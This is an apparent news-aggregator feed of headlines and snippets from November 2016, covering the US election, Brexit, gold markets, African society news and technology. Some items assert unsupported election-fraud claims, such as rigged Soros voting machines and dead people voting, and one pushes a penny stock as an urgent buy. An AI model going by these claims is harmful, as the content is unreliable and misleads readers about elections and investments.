As the holiday shopping season kicks into full gear around the world, industry analysts predict low prices, discounts and promotions will entice shoppers to buy the latest tech gadgets and electronics, including smartphones and tablets. 68 percent of mobile users plan to purchase a new smartphone during the holiday shopping season. But this proclivity to buy new smartphones and insecure mobile data practices will come with a steep data privacy price – both for smartphone … More

23:44

The London Gold Market – too fragmented? "IndyWatch Feed Economics"

Will the London Gold Market Self Destruct?

  • London Gold Market has been unchallenged for nearly 100 years
  • So opaque that quotes of its $5 trillion size are estimates
  • Five new offerings are set to appear in the market in the next six months
  • Increased fragmentation set to reduce liquidity
  • A share of gold price discovery is ripe to be taken by China
  • Disruption in the London Gold Market gives opportunity to the East to take more control of the market.

As markets go the London Gold Market has to be one of the oldest and most unchallenged markets there is. With its roots in the 17th century it has been through a series of makeovers but for much of the last century the OTC market has hardly changed.

But now it is having an identity crisis. In the last year we have seen a barrage of news about changes that are coming, and the last few weeks seem to have been busier than ever.

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For some the $5 trillion London Gold Market is under serious threat and there are a number of reasons as to why including regulation, gold price discovery and a lack of transparency all items that have haunted players in the London gold market.

Now, the threats that face it are driving many to address these problems and attempt to disrupt the market. We take a quick look at the new offerings set to arrive in the coming months, and ask if they will weaken, rather than strengthen, the London Gold Market and thereby open up an opportunity for China. Read full story here….

The London Gold Market – too fragmented? "IndyWatch Feed World"

By Max Keiser and Stacy Herbert

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Will the London Gold Market Self Destruct?

  • London Gold Market has been unchallenged for nearly 100 years
  • So opaque that quotes of its $5 trillion size are estimates
  • Five new offerings are set to appear in the market in the next six months
  • Increased fragmentation set to reduce liquidity
  • A share of gold price discovery is ripe to be taken by China
  • Disruption in the London Gold Market gives opportunity to the East to take more control of the market.

As markets go the London Gold Market has to be one of the oldest and most unchallenged markets there is. With its roots in the 17th century it has been through a series of makeovers but for much of the last century the OTC market has hardly changed.

But now it is having an identity crisis. In the last year we have seen a barrage of news about changes that are coming, and the last few weeks seem to have been busier than ever.

For some the $5 trillion London Gold Market is under serious threat and there are a number of reasons as to why including regulation, gold price discovery and a lack of transparency all items that have haunted players in the London gold market.

Now, the threats that face it are driving many to address these problems and attempt to disrupt the market. We take a quick look at the new offerings set to arrive in the coming months, and ask if they will weaken, rather than strengthen, the London Gold Market and thereby open up an opportunity for China. Read full story here….

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23:42

Asylum Centre Worker Allegedly Filmed Sex Acts with Underage Migrants "IndyWatch Feed Politics.us"

A migrant stands behind the fence at the 'Temporary Permanence Centre' (CPT), a refugee camp in Lampedusa on October 4, 2013. Italy mourned today the 300 African asylum-seekers feared dead in the worst ever Mediterranean refugee disaster, as debate raged over Europe's flawed migration policy. Emergency services on the island of Lampedusa said they had recovered 111 bodies and plucked 155 survivors from the water from a boat with an estimated 450 to 500 people on board. AFP PHOTO / ALBERTO PIZZOLI (Photo credit should read ALBERTO PIZZOLI/AFP/Getty Images)

23:42

Donald Trump, the Greatest Victim in the History of the World "IndyWatch Feed World"

By Ann Jones / TomDispatch

Trump seems incapable of taking responsibility for the harm he’s done, and when his own actions finally call down retribution—branding him as a loser—then come the conspiracy theories and the vindictive wail of the victim.


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23:42

Partyfully Yours: Champagne Taste… Beer Budget! 4 Ways an Events Planner Can Manage These Client Issues "IndyWatch Feed Africa"

As event planners, with special focus on the shower industry, we have come across all kinds of clients that want glitz and glam but are not willing to pay for it. They are the ones who screen grab all the outlandish and elaborate decorations from BellaNaija Weddings, graciously bombard our WhatsApp with all the pictures, […]

23:41

Swiss Imam Arrested After Calling for Death of Moderate Muslims "IndyWatch Feed Politics.us"

Police officers guard the Beau-Rivage Palace hotel hosting the Syria peace talks on October 15, 2016 in Lausanne. International peace talks on Syria involving the United States, Russia and regional players have ended in the Swiss city of Lausanne, a US official said Saturday. After more than four hours of talks, ministers left the city's upmarket lakeside Beau-Rivage hotel without making any comments. / AFP / FABRICE COFFRINI (Photo credit should read FABRICE COFFRINI/AFP/Getty Images)
The capital of Islamic radicalism in Switzerland has been struck a blow after authorities arrested a prominent imam for inciting violence toward moderate Muslims.

23:38

US Productivity Declines Year-Over-Year For 2nd Straight Quarter For First Time In 23 Years "IndyWatch Feed World"

By Tyler Durden

After a recession-signalling three straight quarters of decline, Q3 prleminary productivity data showed a huge 3.1% surge QoQ – the biggest jump since Q3 2014. However, the jump was not enough to regain annual gains as year-over-year productivity declined 0.04%. This is the first consecutive annual decline since 1993.

After the longest streak of decline since 1979, US productivity surged in Q3…

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23:37

I no longer understand the rules "IndyWatch Feed Europe"


Having missed PMQs yesterday I only heard about the extraordinary exchange between Charles Walker MP and the Prime Minister on Susan Hulme’s BBC radio 4 late night parliamentary round-up.

Many others have commented on this surreal episode, but I’m still trying to digest Theresa May’s ambiguous and, if I may say so, obscurantist response. 

Here’s the dialogue, courtesy of the BBC
Mr Walker, the MP for Broxbourne, had asked Mrs May: "When people make fun of Christianity in this country, it rightly turns the other cheek.
"When a young gymnast, Louis Smith, makes fun of another religion widely practised in this country, he is hounded on Twitter by the media and suspended by his association.
"For goodness sake, this man received death threats and we have all looked the other way.
"My question to the prime minister is this: What is going on in this country because I no longer understand the rules?” 

Mrs May responded, saying: "I understand the level of concern that you have raised in relation to this matter.
"This is a balance that we need to find. We value freedom of expression and freedom of speech in this country - that is absolutely essential in underpinning our democracy.
"But we also value tolerance...

23:37

Government Must Ask Parliament to Trigger Article 50, High Court Rules "IndyWatch Feed World"

By Steve Watson

The court ruled that Prime Minister Theresa May does not have the authority to use the Royal Prerogative to invoke the EU divorce process. Visit Site

23:36

Pipeline Explosion in Alabama Kills One, Injures Five "IndyWatch Feed Enviro"

from Love and Rage

colonial-pipeline-explosionShelby County, AL – A deadly Colonial Pipeline explosion in Helena, AL, outside of Birmingham, on Monday also ignited separate wildfires in the affected area.

According to WHNT 19, on Monday afternoon several subcontractors for Colonial Pipeline were attempting to flush out one of the two lines which run through the area, that’s when the explosion occurred.

People injured in the explosion were taken to Birmingham-area hospitals according to a UAB Hospital spokesperson. Shelby County Sheriff John Samaniego has also stated that there could be up to two individuals, both workers, missing. One person has been reported killed in the explosion.

The incident happened just west of a rupture which occurred a month ago and led to gasoline shortages across the Southern US.

Up to three wildfires had been recorded in the aftermath, covering up to 31 acres of land.

Colonial Pipeline has since shut down both pipelines which run through the area. The Alabama Forestry Commission, commenting on the fire, said that there were no structures directly threatened by the resulting fires.

While the statement from Colonial Pipeline did not address questions about supply, prices have spiked as a result.

The 5,500 mile pipeline system is a major artery of fuel for the US East Coast serving up to 13 states from Texas to New York. The rise in prices was the highest jump in eight years.

23:35

Chief Of Army Staff, Lt. General Tukur Buratai Grants Automatic NDA Admission To 150 Nasarawa Students "IndyWatch Feed Africa"

The Chief of Army Staff, Lt. General Tukur Buratai, has said that the 150 students of the Command Science School, Lafia, will get automatic admission into the Nigerian Defence Academy (NDA) upon graduation.

Buratai stated this yesterday in Lafia during the official commissioning of the school which is the first and only one in the entire northern Nigeria, explaining that the project will enhance military/civilian relationship.

Buraitai, who was represented by the head of administration in his office, Major General Bello Abubakar, explained that the project which started in July 2014 is a collaborative effort between the Army and the Nasarawa State government.

The Command Science School which took off 17th September 2016 has admitted 150 students into the junior class out of which 130 students are indigenes of the state. He called on them to reflect the discipline and uprightness that the military represents, adding that states like Kebbi, Jigawa among others are already clamouring for the establishment of such in their states.

Also speaking, the state governor, Alhaji Umaru Tanko Al-Makura, said that establishing the school in the state will not only widen the scope of education and academic excellence in the state, but will open opportunities for indigenes who want to take up career in the military. The governor who was represented by his deputy, Hon. Silas Agara, urged the management of the school to make best use of the equipment.

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23:33

Geo-Engineering Unlikely to Work, Conservation Group Says "IndyWatch Feed World"

By Alex Kirby / Climate News Network

Attempts to limit climate change by using the novel technologies known as geo-engineering are very unlikely to work, leading biologists say.


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23:33

OUCH! Hillary Has Dropped 60 Electoral Votes In The Last Week Alone "IndyWatch Feed World"

By Steve Watson

If the current trend holds, the Clinton campaign will see an Election Day collapse of historic proportion. Visit Site

23:32

Obama considering ways to reroute Dakota Access Pipeline after months of protests "IndyWatch Feed World"

President Barack Obama has said the US Army Corps of Engineers is considering ways of rerouting the Dakota Access Pipeline amid an eight-month-long protest staged by the Standing Rock Sioux tribe. The Standing Rock Sioux are protesting the pipeline's route due to the potential threats it poses to drinking water supplies and sacred sites. Their cause has attracted millions of dollars in support. "My view is that there is a way for us to accommodate sacred lands of Native Americans, and I think that right now the Army Corps is examining whether there are ways to reroute this pipeline," Obama told news website NowThis on Tuesday.

23:31

Kellyanne Conway: ‘America appreciates that Trump and his family made enormous sacrifices’ "IndyWatch Feed Politics.us"

Kellyanne Conway argued on Thursday that Americans were voting for Donald Trump because they are thankful for the sacrifices he has made for the country by running for president. “Donald Trump is closing with a positive message,” Conway explained to CNN’s Chris Cuomo….


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23:31

The Real Living Wage? $17.28 An Hour – At Least "IndyWatch Feed Nthamerica"

By Julie Chinitz for Our Future - Fifteen dollars shouldn’t be too much to ask – or demand. In almost every state, a worker needs more than $15 an hour to make ends meet. Add in student debt, and the minimum living wage shoots up to $18.67 an hour nationally. A family with children needs significantly more. That’s according to new research from People’s Action Institute, which calculates the national living wage at $17.28.

23:31

The London Gold Market – too fragmented? "IndyWatch Feed World"

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Will the London Gold Market Self Destruct?

  • London Gold Market has been unchallenged for nearly 100 years
  • So opaque that quotes of its $5 trillion size are estimates
  • Five new offerings are set to appear in the market in the next six months
  • Increased fragmentation set to reduce liquidity
  • A share of gold price discovery is ripe to be taken by China
  • Disruption in the London Gold Market gives opportunity to the East to take more control of the market.

As markets go the London Gold Market has to be one of the oldest and most unchallenged markets there is. With its roots in the 17th century it has been through a series of makeovers but for much of the last century the OTC market has hardly changed.

But now it is having an identity crisis. In the last year we have seen a barrage of news about changes that are coming, and the last few weeks seem to have been busier than ever.

For some the $5 trillion London Gold Market is under serious threat and there are a number of reasons as to why including regulation, gold price discovery and a lack of transparency all items that have haunted players in the London gold market.

Now, the threats that face it are driving many to address these problems and attempt to disrupt the market. We take a quick look at the new offerings set to arrive in the coming months, and ask if they will weaken, rather than strengthen, the London Gold Market and thereby open up an opportunity for China.

The LBMA, a fintech start-up and transparency

Right now there is no data on how much gold is traded each day. The LBMA who currently runs the joint have accepted that this lack of transparency has long been a major criticism, by both market participants and the regulators.

With this in mind it has seen the light that ‘fintech’ offers and has opened itself up to disruption before it is disrupted. Earlier this year it announced Boat Services Ltd. and Autilla Inc. had been chosen to create transparency in the market by building a trading platform.

The 149 LBMA members will report their trades to the new platform.

When the LBMA announced the initiative with Boat Services, it was made clear that the new arrangement would “go beyond UK and global regulators’ demands for data on derivatives trading [and showed] a commitmen...

23:30

Peter Kadzik: What More Will Wikileaks Reveal About the DOJ's Clinton Mole? "IndyWatch Feed Nthamerica"

Peter Kadzik, Assistant Director of the Department of Justice, has been revealed in the Wikileaks Podesta emails to have been providing Clinton with insider information on her investigations. What else may be in the Wikileaks Podesta emails pertaining to Kadzik.

23:30

Can You Believe They’ve Been Married for 10 Years? Chika & Dapo Recreate their Wedding Photos for their Anniversary "IndyWatch Feed Africa"

Dapo & Chika Adetomi got married 10 years ago today, November 3 2006. The couple decided to recreate their wedding photos in Igbo and Yoruba traditional as well as white wedding outfits. Chika had this to say to the king of her heart – “It been a decade of happiness… 10 years of knowing you better, […]

23:30

Merchants and financial institutions deal with escalating cyber attacks "IndyWatch Feed Tech"

Unsurprisingly, the Q3 2016 ThreatMetrix report shows a sharp increase in the number and complexity of cyber attacks. During what is traditionally a slow quarter, researchers analyzed nearly 5 billion transactions, and stopped approximately 130 million attacks in real time – a 40 percent increase over 2015. Top attack vendor trends Mobile transactions grew almost 50 percent over the previous year to represent 43 percent of total network traffic. Cross-border transactions are also on the … More

23:30

POLICE RAID DEMOCRAT HEADQUARTERS (Video) "IndyWatch Feed Economics"

POLICE RAID DEMOCRAT HEADQUARTERS

POLICE RAID DEMOCRAT HEADQUARTERS Danny Gold for Liberty Writers reports, The day we have been waiting for has finally come! Police have finally raided a Democratic headquarters, and the results are NASTY! Naresh Thapa15 minutes ago Omg what is happening in USA, its look like INDIA. Its disgusting Trump is right when he talks about…

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23:29

Hillary Clinton Gave Visa to Egyptian Terrorist to Visit State Dept, White House To Lobby For Blind Sheikh Release "IndyWatch Feed Africa"

PJ Media, by Patrick Poole, November 2, 2016: In June 2012, Hillary Clinton’s State Department issued a visa to enter the U.S. to Hani Noor Eldin – an avowed member of the Egyptian terror group Gamaa Islamiya that was designated … Continue reading

23:29

Opposing Candidate’s Lawsuit: Pinellas County Sheriff Robert Gualtieri Hiding Incriminating Public Records "IndyWatch Feed War"

The following post was shared with the CopBlock Network by James McLynas, a candidate for sheriff in Pinellas County, Florida. In the post, which was shared via the CopBlock.org Submissions Page, McLynas discusses a lawsuit he has filed which accuses current Sheriff Robert Gualtieri, whom he is running against in the upcoming election, of hiding incriminating information contained within public records in violation of the Florida Open Records Laws.

The post was originally published at James McLynas’ personal campaign website under the title, “Pinellas County Sheriff Robert Gualtieri Sued for Hiding Incriminating Records From Opposing Candidate.

10-20-2016 – Pinellas County Florida:

On October 20, 2016, Pinellas County Sheriff Candidate James McLynas filed a lawsuit against current Sheriff Robert Gualtieri and the Pinellas County Sheriff’s Office (PCSO) for intentionally refusing to provide public records to McLynas in violation of Florida Open Records Laws and the Florida Constitution.

The suit enumerates several allegations and was filed by prominent attorney Jerry Theophilopoulo (also known as Jerry “T”). Those factual allegations include:

  • That the PCSO and Sheriff Gualtieri targeted McLynas for retribution after McLynas filed multiple legitimate complaints against PCSO deputies.
  • That Sheriff Gualtieri and the PCSO also had McLynas falsely arrested on multiple bogus charges to silence McLynas shortly after McLynas threatened to run for Sheriff in...

23:29

Russian Hackers? 45% Call News Media ‘Primary Threat That Might Try to Change Election Results’ "IndyWatch Feed World"

By Steve Watson

Less than half of respondents (47.8%) said that the media was reporting on the campaigns independently. Visit Site

23:28

Nigerian Design Duo ‘Ife’s Closet’ launches Second Collection – An Awkward Lady, Inspired by Issa Rae "IndyWatch Feed Africa"

An Awkward Lady, a collection by UK design duo Ife’s Closet features an 14-piece collection of high fashion vintage ready to wear pieces through classic prints and fabric from slim line dresses and pencil skirts to an array of colour blocking tops, playsuits and waistcoat dusters. Designed by sisters Titi and Tinuke Ukrinamemen, the London based […]

23:28

Data-Deleting Software Company Used By Team Hillary Now Selling “Cloth Or Something” In Homage To Clinton… "IndyWatch Feed Politics.us"

I think Granny is about to get wiped, but not with a “cloth or something”. Via Fox News: The data-deleting software known as BleachBit, made famous by the Clinton team’s use of it to scrub emails from the former secretary of state’s private email server, is making the most of its time in the spotlight […]

23:26

Awww.. From Brothel To Altar: A Port Harcourt Ex-Prostitute Weds Her Man (See Pics) "IndyWatch Feed Africa"

This is God's grace at work! So sweet!! A former commercial sex worker in Rivers State, has tied the knot to her fiancé after being converted some months back. The new bride was among the commercial sex workers, evangelized by the General Overseer of Omega Power Ministries (OPM), Apostle Dr. Chibuzor Chinyere from a well known brothel in Diobu, Port Harcourt.. The wedding was held at the at the GRA branch of the Church.

According to the G.O, he said, as part of his evangelism message to the converts was a promise that he will not only provide an accommodations for the new converts, set up businesses for them, but he will also participate and bankroll their traditional and church wedding, should any of the new convert(s), who in cause of her services to God, found any man of her choice to marry.
The over excited Bride in her reactions said;

   ''In my life, Saturday 28th September 2016 can not be forgotten in hurry. It was the day I met with the General Overseer of OPM physical in our brothel at Diobu where my life was mess up with the habit of prostitution. I have been listening to many people who most time came around to preach to me but to Daddy OPM, his own pattern of evangelism was different from all other person who tried in vain to convert me.

   ''He did not only preached the gospel of the Bible to me but brought me and others out from the devil dungeon, relocate us to an estate, Fed us, clothed us and set up life time business for us, today I am a fulfilled born again christian, having gotten water baptism and again married to a man I love to spend the rest of my life with. God is really gre...

23:23

Eight Ways To Strengthen Our Democracy Beyond Voting "IndyWatch Feed Nthamerica"

By Chuck Collins for Other Worlds - The strength of our civic life depends on what we do outside elections. Throughout this trying election season, we’ve been told how much is at stake with our vote. But the success of any democracy depends on continuing to pay attention long after we cast our ballots. So let’s pledge to strengthen our democracy with a few resolutions to focus our intentions and keep us moving forward over the next four years.

23:21

Brazil uses mutant mosquitoes to fight Zika "IndyWatch Feed Economics"

Zika infections in pregnant women have been linked to a condition known as microcephaly: infants born with undersize heads [Xinhua]

Zika infections in pregnant women have been linked to a condition known as microcephaly: infants born with undersize heads [Xinhua]


Scientists in Brazil will unleash millions of genetically modified mosquitoes that will target disease-carrying members of their kind in a bit to combat the Zika virus.

The mutant insects will mate with the females and spawn babies that are genetically predisposed to die faster than normal.

Oxitec, the British firm behind this experiment, said it is awaiting permission from health authorities in Brazil but that it expects to release the mosquitoes in 2017.

“What we do here is eliminate the mosquitoes that transmit the virus,” said Oxitec biologist Karla Tepedino.

“By eliminating the vector, we eliminate the disease.”

Scientists hope that they can eliminate insect-borne viruses such as Zika, Yellow Fever and Dengue Fever that have killed thousands over the past year.

The World Health Organization says that Zika has spread to almost 60 countries around the world. The number of infections in Vietnam, for example, have doubled in the past few days. There are fears that infections may be spreading in Southeast Asia on the scale of Latin America last year.

Health officials in Brazil, which is considered ground zero for Zika infections, say they expect the number of infections to dramatically increase next year as more precautions are introduced and there is more awareness to combat the mosquito.

The BRICS Post with inputs from Agencies

23:20

Shoigu: Russia & Belarus must respond to NATO's military build-up on their borders "IndyWatch Feed World"

Translated by J. Arnoldski Russia is compelled to take defensive measures in response to NATO's increasing activity on the western borders of the Union State of Russia and Belarus. Russian Defense Minister Sergey Shoigu stated this at a joint meeting of the Russian and Belarusian defense ministries. At the NATO summit in Warsaw in July, the member states of the North Atlantic Treaty Organization agreed to increase their military contingent in Eastern Europe: by 2017, four multinational battalions will be deployed in the Baltic counties and Poland. In addition, NATO is constantly discussing strengthening its presence in the Black Sea region. The alliance justifies these actions by alleging a threat posed by Russia. Moscow has repeatedly stated that it will not go to war with any NATO member countries, but will not leave unanswered the organization's increasing military presence near its borders.

23:20

The Election is About to Ignite a Massive Gold Rally! "IndyWatch Feed Economics"

The Election is About to Ignite a Massive Gold Rally

A Tremendous Gold Rally Has Just Been Ignited!

Dear Reader,

Now is the time to enter into the metals and mining shares! Regardless of the election’s outcome, the world faces an unprecedented debt crisis and loss of faith in the world’s largest economies like the U.S., China, and Europe.

If Trump wins, the establishment may do something drastic to derail his presidency early on… Or by him just trying to fix a system full of fraud, he could cause it all to come crashing down. If Hillary wins, it will likely tear the country apart and lead to war with Russia and more Middle East entanglements.

Gold is going to rally big here, and I want to us to safely profit, so here is how we plan to increase our net worth over the next 1 to 3 years as this all unfolds:

1. Partner with the best people in the gold sector: the proven winners, which are the ultra-successful power players.

2. Only buy high-quality assets.

3. Aggressively accumulate shares on corrections.

Next week, I will have a special report on why I believe every investor should have a gold mineral bank in their portfolio.

I’ll release this important update shortly after the election.

For now, get in cheaply, at a great price.

All of our members should immediately consider shares of First Mining Finance (TSXV: FF & US: FFMGF) up to CAD$1.10 and USD$0.82.

On January 4th...

23:19

The Brexiter U-turn on democracy "IndyWatch Feed Europe"


We all remember how Brexiters used "democracy" as one of their core arguments in favour of quitting the EU. Their simplistic argument relied on creating the caricature of the EU being a deeply anti-democratic behemoth, and how it would be a triumph for democracy to repatriate political decision making to the UK.

It didn't matter at the time that many people pointed out that the archaic and hugely disproportional Westminster voting system system, the deeply unequal constitutional arrangement between the four member nations,
 the unelected House of Lords, and not least the unelected head of state meant that the UK is massively more undemocratic than the EU, people bought into this "democracy" argument in their millions.

Fast forward a few months and this professed Brexiter love of democracy has been completely reversed in the wake of the High Court decision that Theresa May has no right to invoke Article 50 and begin the process of quitting the EU without first gaining parliamentary approval.

Suddenly Brexiters are out in force condemning the legal ruling and crying that MPs will try to undermine the economically suicidal "hard Brexit" they've been fantasising about. They wanted Theresa May to be able to draw up a fanatically right-wing Brexit strategy and then impose it on the British public without the faintest whiff of parliamentary scrutiny and they're throwing their toys out of their p...

23:18

Nightmare on the Nile: Egypt’s devaluation "IndyWatch Feed Africa"

Without an effective safety net for millions who will be hit hard by the devalued pound, Egypt's government may be the one in need of saving

23:17

10 Thursday AM Reads "IndyWatch Feed Economics"

Congrats Chicago! Recover with our extra innings morning train reads: • Why Smart People Make Bad Decisions (Collaborative Fund) see also A Case Study in Investing Objectivity (Bloomberg View) • Alpha Wounds: Lack of Independent Judgment (CFA Institute) • Renewables overtake coal as world’s largest source of power capacity Though coal still generates more electricity, wind and solar…

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23:16

Arab News/YouGov Poll: 44% Would Vote for Hillary Clinton, 9% Only Would Vote Trump "IndyWatch Feed World"

An Arab News/YouGov poll surveyed 3,017 people in the Middle East and North Africa (MENA) on the US elections and presidential candidates and found that:

– 47% of Arabs wouldn’t vote for any of the two candidates if they were given the chance to vote.
– 44% would vote for Hillary Clinton while only 9% would vote for Donald Trump.
– 78% of respondents said Hillary Clinton would be better for the Arab World.
– More than 70% of participants were “dissatisfied” or “upset” with Trump’s policies vs 30% for Hillary.
– 73% were in favor of Trump’s abortion policy.
– 46% of respondents believe the US should send troops to fight ISIS in the region and collaborate closely with Russia on solving the Syrian crisis.

You can check out the full report [here].

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23:14

New Leak May Show If You Were Hacked By The NSA "IndyWatch Feed Nthamerica"

By Dan Goodin for ARS Technica - Shadow Brokers—the name used by a person or group that created seismic waves in August when it published some of the National Security Agency's most elite hacking tools—is back with a new leak that the group says reveals hundreds of organizations targeted by the NSA over more than a decade. "TheShadowBrokers is having special trick or treat for Amerikanskis tonight," said the Monday morning post, which was signed by the same encryption key used in the August posts.

23:14

The Only Coup Is a Stolen Election "IndyWatch Feed Nthamerica"

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Wars and rumor of wars. There is no coup. What you are watching is a media distraction.  The MSM is actually covering Hillary’s criminality for the very first time. Are you naive enough to believe the media has had a change of heart?  Look at the timing. Most of the early balloting is done. The George Soros’ voting machines have been placed into 16 key states.  Dead people have already early-voted. But the media would have you believe that Hillary cannot win. When the fake polls at ABC show Trump is now leading, you have to question your common sense if you think you are not being played.  And getting the people to believe that Hillary cannot win because of the late exposure of her criminality, will keep the people from working hard to prevent it.

How can America be so stupid as to believe that the main stream media has had a change of heart? Chris Matthews endorsing Trump along with other main stream media outlets? Really? Was Santa Claus standing in the background laughing?

The criminal elite and their media pawns  have spent the entire election campaign vilifying Trump and now we are to believe that they have found Jesus and are suddenly supporting Trump?  For you farm boys, this is called playing possum.

If you don’t want to live under the biggest criminal to ever run for President, you must block out the media and their minions because if you don’t and Hillary steals this election, I will be saying I told you so.  The only way Trump wins the election, is if the people vote in overwhelming numbers for him and no amount of election fraud can overcome a super majority. For the record, voting machine fraud is designed to flip a percentage of the vote.  An overwhelming victory cannot be negated without it being painfully obvious to everyone. So, don’t get lulled into complacency. Keep working for Trump!!!!

Believe who you want America, but in 5 days, if you lose your focus in supporting Trump and start assuming a victory, you are going to hand the election to Soros and Clinton.

Here is the anti-dote to the MSM B...

23:12

Deus Ex: Mankind Divided Released For Linux "IndyWatch Feed Tech"

Feral Interactive has just released Deus Ex: Mankind Divided for Linux!..

23:12

Hillary Clinton, Donald Trump news update "IndyWatch Feed World"

This video from the USA says about itself:

BREAKING: Department of Justice Tipped Off Hillary Clinton Campaign

2 December 2016

TYT Politics Producer Emma Vigeland did a YouTube Live report on the breaking news that a Department Of Justice assistant attorney general tipped off John Podesta, Hillary Clinton‘s campaign chair.

This video from the USA says about itself:

Trump Supporter Yells “All Dogs Matter!” at Black Lives Advocates

2 November 2016

TYT’s Eric Byler spoke to both Trump supporters and Trump protesters as The Donald brought his historic presidential campaign to “blue” Wisconsin just a week before the 2016 election. Protesters called supporters bigots in response to mocking of their sexuality and the Black Lives Matter...

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IBOR4 (Inner Beauty, Outward Radiance) is Here! Attend the Inspirational Seminar this Saturday | November 5 "IndyWatch Feed Africa"

IBOR4 – Inner Beauty, Outward Radiance – is happening this Saturday, 5th of November and you can be part of it. Speakers are Arese Ugwu, Funke Bucknor-Obruthe, Ronke Aderinoye, Bimpe Onakoya and Owolabi Awosan. The event will be anchored by OAP and comedian Chigul and there will be a runway appearance by celebrity designer Ejiro Amos Tafiri as well as a dance performance […]

23:10

BOE Keeps Rates Unchanged, Warns Of “Limits To Extent To Which Above-Target Inflation Can Be Tolerated”, GBP Jumps "IndyWatch Feed World"

By Tyler Durden

In a widely expected announcement, the Bank of England kept it bank rate unchanged at 0.25%, as well as holding it government bond purchases at £435bn and corporate bond purchases at up to £10bn.

In its statement, the Bank of England’s Monetary Policy Committee (MPC) said in it meeting ending on 2 November 2016 the Committee voted unanimously to maintain Bank Rate at 0.25%. The Committee voted unanimously to continue with the programme of sterling non-financial investment-grade corporate bond purchases totalling up to £10 billion, financed by the issuance of central bank reserves. The Committee also voted unanimously to continue with the programme of £60 billion of UK government bond purchases to take the total stock of these purchases to £435 billion, financed by the issuance of central bank reserves.

Among the notable highlights in the report, the BOE said that “monetary policy can respond, in either direction, to changes to the economic outlook as they unfold to ensure a sustainable return of inflation to the 2% target”, however what has caught traders’ attention is the statement that “Developments since August, in particular the direct impact of the further depreciation of sterling on CPI inflation, have adversely affected that trade-off. This impact will ultimately prove temporary, and attempting to offset it fully with tighter monetary policy would be excessively costly in terms of foregone output and employment growth. However, there are limits to the extent to which above-target inflation can be tolerated.

As the FT adds, the pound’s fall will raise import prices sharply, the BoE’s Monetary Policy Committee said, as it forecast inflation to exceed its 2 per cent target by next spring, peak at 2.8 per cent in early 2018 and stay above 2.5 per cent well into 2019 before returning to target only in 2020. With inflation on the rise, the Committee has dropped its guidance that the next move in interest rates is likely to be down and said rates could move in either direction depending on the performance of the economy.

The sharp rise in prices alongs...

23:10

Silver Signals Flight To Real Safety Is On Again "IndyWatch Feed Economics"

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Silver Signals Flight To Real Safety Is On Again Gold is powering higher because the dollar is dropping. The dollar index is down 1.7% in the last 3 1/2 trading sessions. It’s down 2.3% vs the euro in the last 5 1/2 days, down 2.1% vs the yen in the last 3 days and down…

The post Silver Signals Flight To Real Safety Is On Again appeared first on The Daily Coin.

23:07

Nairalogue with Ifeoma Adeoye: Do Not Under-Estimate the Power of Your Side Hustle "IndyWatch Feed Africa"

The importance of having multiple revenue streams, for anyone who is interested in building wealth, cannot be over emphasized. Even if it is dividend pay-outs from stocks or buying and selling things on the side and making a margin, it is important for everyone to have a side hustle. A side hustle is, as the […]

23:07

Is the Abedin/Weiner Laptop the Last of It? "IndyWatch Feed War"

National Review, by Andrew C. McCarthy, November 3, 2016: A nagging question has been lost amid the tempest over the FBI’s revival of the Clinton e-mails investigation. As everyone knows, the file has been reopened because of a trove of … Continue reading

23:06

Fighting in Aleppo proves ISIS, Al Qaeda & 'moderate rebels' all working together "IndyWatch Feed World"

Western claims that the "moderate rebels" fighting the Syrian government are totally separate and antagonistic to ISIS are disproved by the fighting in Aleppo. Nothing illustrates the mismatch between Western reporting of the war in Syria and the reality on the ground better than an incident which took place on 1st November 2016 south of Aleppo. The Syrian government's main supply lines to Aleppo are the roads from the south. This has been especially so since the Jihadi capture of most of the province of Idlib together with its regional capital in the first half of 2015. As the noose tightens on the Jihadis in eastern Aleppo, with their latest counter-offensive repulsed and reports that the eastern districts of the city under Jihadi control are running out of essential fuel and other supplies as the cold weather closes in, the Jihadis attempted on 1st November 2016 to try to turn the tables on the Syrian army by cutting its road links to the south of the city.

23:05

As President Obama Hints At Dakota Access Possible Reroute, Tensions Swirl at Standing Rock "IndyWatch Feed Economics"

President Barack Obama, in an interview with Versha Sharma of NowThis News, said that the U.S. Army Corps of Engineers may consider a reroute of the hotly contested Dakota Access Pipeline, one which would presumably not cross sacred Native American sites.

23:04

Surprise! Newfound asteroid 2016 VA gives Earth a close shave "IndyWatch Feed World"

A small asteroid buzzed Earth last night (Nov. 1), just hours after astronomers first spotted the space rock. The asteroid 2016 VA zoomed within about 48,000 miles (77,000 kilometers) of the planet at 8:32 p.m. EDT (0032 GMT on Nov. 2), according to researchers with the Minor Planet Center (MPC) in Cambridge, Massachusetts. To put that into perspective, the moon orbits Earth at an average distance of 239,000 miles (385,000 km). The space rock, which is thought to be 23 to 72 feet (7 to 22 meters) wide, was traveling about 48,000 mph (77,000 km/h) relative to Earth during the close encounter, MPC scientists said. 2016 VA was discovered just yesterday, by astronomers with the Mt. Lemmon Survey in Arizona. Surprise asteroid encounters like last night's flyby aren't uncommon; millions of space rocks are thought to orbit the sun in Earth's neighborhood, and scientists have discovered just 15,000 of them.

23:04

Many AMDGPU & Other DRM Fixes Queued For Linux 4.9 "IndyWatch Feed Tech"

DRM subsystem maintainer David Airlie submitted on Wednesday quite a number of fixes for the Direct Rendering Manager drivers. There's been fixes queueing up for a while that are now ready to go in after the nasty PAT regression fix has landed...

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Something big is underway on all fronts: “Within the next few weeks the future of the united states will be decided” "IndyWatch Feed Politics.us"

As of this writing, the increased U.S. troop presence in Eastern Europe includes a battalion-sized element of American troops being emplaced in the Suwalki Gap, Polish territory that borders Lithuania in a 60-mile stretch of corridor. The Russian Defense Ministry announced that 600 Russian and Belarussian airborne troops conducted training exercises in Brest, on the Belorussian-Polish border only a few miles from where the U.S. forces are deploying in Poland. This on the heels of Britain deploying 800 men, tanks, and jets to Estonia, along with pledges of Challenger 2 tanks, APC’s (Armored Personnel Carriers), and drones.

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23:00

Kosmos: Robert Steele – In Harmony with All Life – The Open Source Way "IndyWatch Feed War"

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Kosmos, Nov 01, 2016 by Robert Steele

Full text and three graphics below the fold.

We do not need a new paradigm but rather a return to the original indigenous paradigm that treated the Earth as a sacred Mother and understood that God was all of us, in harmony with one another and the cosmos, living by one principle (do no harm) and one practice (seventh generation thinking).

The Industrial Era has been both a blessing and a curse. It has radically altered the quality and diversity of life for a billion humans but it has also come at a great cost: the repression in extreme poverty of the other five billion; the eradication of thousands of species; and the destruction almost to a tipping point of the Earth. Changes to the Earth that used to take ten thousand years now take three years or less. In combination, colonialism, militarism, and capitalism have squandered the wealth of the Earth, creating an elite 1% that profits from the misery, enslavement, and deception of the 99%.

